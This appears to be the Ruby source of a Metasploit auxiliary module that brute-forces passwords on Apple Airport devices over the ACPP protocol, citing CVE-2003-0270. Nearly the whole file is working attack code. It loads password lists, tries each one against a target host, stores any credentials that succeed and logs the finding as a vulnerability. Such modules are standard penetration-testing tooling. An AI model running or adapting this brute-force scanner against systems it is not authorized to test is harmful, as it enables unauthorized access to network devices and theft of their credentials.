Path: blob/master/modules/auxiliary/scanner/acpp/login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'6require 'metasploit/framework/login_scanner/acpp'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::Tcp10include Msf::Auxiliary::Scanner11include Msf::Auxiliary::Report12include Msf::Auxiliary::AuthBrute1314def initialize15super(16'Name' => 'Apple Airport ACPP Authentication Scanner',17'Description' => %q{18This module attempts to authenticate to an Apple Airport using its19proprietary and largely undocumented protocol known only as ACPP.20},21'Author' => [22'Jon Hart <jon_hart[at]rapid7.com>'23],24'References' => [25%w[CVE 2003-0270] # Fixed XOR key used to encrypt password26],27'License' => MSF_LICENSE,28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [IOC_IN_LOGS],31'Reliability' => []32}33)3435register_options(36[37Opt::RPORT(Rex::Proto::ACPP::DEFAULT_PORT)38]39)4041deregister_options(42# there is no username, so remove all of these options43'DB_ALL_USERS',44'DB_ALL_CREDS',45'DB_SKIP_EXISTING',46'USERNAME',47'USERPASS_FILE',48'USER_FILE',49'USER_AS_PASS'50)5152register_autofilter_ports([Rex::Proto::ACPP::DEFAULT_PORT])53end5455def run_host(ip)56vprint_status("#{ip}:#{rport} - Starting ACPP login sweep")5758cred_collection = Metasploit::Framework::PrivateCredentialCollection.new(59blank_passwords: datastore['BLANK_PASSWORDS'],60pass_file: datastore['PASS_FILE'],61password: datastore['PASSWORD']62)63cred_collection = prepend_db_passwords(cred_collection)6465scanner = Metasploit::Framework::LoginScanner::ACPP.new(66configure_login_scanner(67host: ip,68port: rport,69proxies: datastore['PROXIES'],70cred_details: cred_collection,71stop_on_success: datastore['STOP_ON_SUCCESS'],72bruteforce_speed: datastore['BRUTEFORCE_SPEED'],73connection_timeout: datastore['ConnectTimeout'],74max_send_size: datastore['TCP::max_send_size'],75send_delay: datastore['TCP::send_delay'],76framework: framework,77framework_module: self,78ssl: datastore['SSL'],79ssl_version: datastore['SSLVersion'],80ssl_verify_mode: datastore['SSLVerifyMode'],81ssl_cipher: datastore['SSLCipher'],82local_port: datastore['CPORT'],83local_host: datastore['CHOST']84)85)8687scanner.scan! do |result|88credential_data = result.to_h89credential_data.merge!(90module_fullname: fullname,91workspace_id: myworkspace_id92)93password = result.credential.private94if result.success?95credential_core = create_credential(credential_data)96credential_data[:core] = credential_core97create_credential_login(credential_data)98print_good("#{ip}:#{rport} - ACPP Login Successful: #{password}")99report_vuln(100host: ip,101port: rport,102proto: 'tcp',103name: 'Fixed XOR key used to encrypt passwords',104info: "Successful authentication with '#{password}'",105refs: references106)107else108invalidate_login(credential_data)109vprint_error("#{ip}:#{rport} - ACPP LOGIN FAILED: #{password} (#{result.status}: #{result.proof})")110end111end112end113end114115116